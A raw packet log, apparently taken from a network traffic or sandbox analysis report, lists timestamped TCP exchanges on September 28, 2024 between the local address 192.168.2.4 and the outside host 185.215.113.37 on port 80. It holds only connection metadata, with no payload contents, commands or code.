Sep 28, 2024 10:19:16.387808084 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.387820959 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.387844086 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.387877941 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.387888908 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.387903929 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.387907982 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.387924910 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.387943029 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.387969017 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.387986898 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.388005972 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.388034105 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.388057947 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.388065100 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.388097048 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.388115883 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.388115883 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.388144016 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.388148069 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.388180971 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.388211012 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.388227940 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.388243914 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.388261080 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.388278961 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.388310909 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.388370037 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.388370037 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.388405085 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.388438940 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.388451099 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.388470888 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.388483047 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.388504982 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.388542891 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.388575077 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.388591051 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.388607979 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.388617039 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.388623953 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.388653040 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.388674021 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.388684034 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.388720036 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.388739109 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.388739109 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.388753891 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.388766050 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.388850927 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.388883114 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.388897896 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.388916969 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.388916969 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.388928890 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.388946056 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.388967991 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.388998985 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.389030933 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.389045954 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.389060020 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.389061928 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.389074087 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.389106989 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.389110088 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.389143944 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.389174938 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.389208078 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.389241934 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.389242887 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.389242887 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.389259100 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.389276028 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.389307976 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.389321089 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.389341116 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.389354944 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.389375925 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.389389038 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.389411926 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.389422894 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.389441013 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.389484882 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.389565945 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.389600039 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.389601946 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.389621973 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.389632940 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.389650106 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.389667988 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.389702082 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.389734030 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.389750004 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.389765978 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.389780045 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.389800072 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.389811039 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.389828920 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.389839888 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.389862061 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.389897108 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.389909029 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.389925957 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.389926910 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.389947891 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.389960051 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.389976025 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.389993906 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.390105963 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.390137911 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.390150070 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.390171051 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.390183926 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.390204906 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.390218019 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.390239954 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.390250921 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.390274048 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.390309095 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.390322924 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.390336990 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.390347958 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.390347958 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.390382051 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.390430927 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.390465021 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.390496016 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.390526056 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.390543938 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.390557051 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.390558958 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.390583992 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.390592098 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.390618086 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.390625954 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.390626907 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.390662909 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.390677929 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.390691996 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.390734911 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.391757011 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.426193953 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.426229000 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.426259995 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.426285028 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.426295996 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.426337004 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.426347017 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.426382065 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.426413059 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.426424980 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.426450014 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.426484108 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.426492929 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.426537037 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.426763058 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.426851034 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.426898003 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.426925898 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.426929951 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.426950932 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.426979065 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.427205086 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.427258015 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.427288055 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.427320004 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.427325010 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.427345991 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.427371025 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.427400112 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.427453995 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.427469015 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.427498102 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.427515984 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.427577019 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.427687883 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.427757025 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.427789927 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.427792072 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.427823067 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.427828074 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.427838087 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.427875996 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.427906036 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.427908897 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.427943945 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.427947998 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.427978039 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.427989006 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.428013086 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.428034067 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.428040028 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.428072929 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.428127050 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.428132057 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.428164005 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.428200960 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.428210974 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.428240061 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.428258896 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.428283930 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.428889990 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.428939104 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.428946972 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.428972960 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.429023027 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.429023027 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.429059029 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.429102898 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.429110050 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.429161072 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.429188967 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.429208040 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.429220915 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.429255009 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.429266930 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.429305077 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.429339886 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.429347038 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.429373026 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.429406881 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.429419994 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.429456949 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.429491997 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.429501057 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.429519892 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.429553032 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.429575920 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.429585934 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.429625034 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.429639101 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.429672956 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.429704905 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.429713964 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.429769993 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.429802895 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.429824114 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.429836035 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.429864883 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.429902077 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.429912090 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.429912090 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.429946899 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.429959059 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.429975986 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.430008888 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.430013895 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.430042028 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.430073977 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.430083036 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.430107117 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.430140018 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.430159092 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.430172920 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.430216074 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.430223942 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.430262089 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.430294037 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.430318117 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.430326939 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.430361986 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.430366039 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.430393934 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.430424929 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.430429935 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.430459023 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.430490017 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.430504084 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.430519104 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.430548906 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.430560112 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.430581093 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.430613041 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.430629969 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.430664062 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.430696964 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.430723906 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.430731058 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.430764914 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.430778027 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.430797100 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.430824995 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.430839062 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.430857897 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.430893898 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.430911064 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.430922031 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.430968046 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.433320999 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.433429003 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.433456898 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.433510065 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.478055954 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.478107929 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.478142023 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.478174925 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.478207111 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.478228092 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.478247881 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.478256941 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.478267908 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.481724024 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.513075113 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.513107061 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.515750885 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.558707952 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.558765888 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.558778048 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.558796883 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.558847904 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.558851957 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.558880091 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.558913946 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.558927059 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.558947086 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.558979988 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.558991909 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.559060097 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.559334993 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.559412956 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.559447050 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.559479952 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.559618950 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.559732914 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.559784889 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.559813023 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.559843063 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.559864998 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.559889078 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.559942961 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.559957981 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:16.559981108 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:16.560020924 CEST	49730	80	192.168.2.4	185.215.113.37
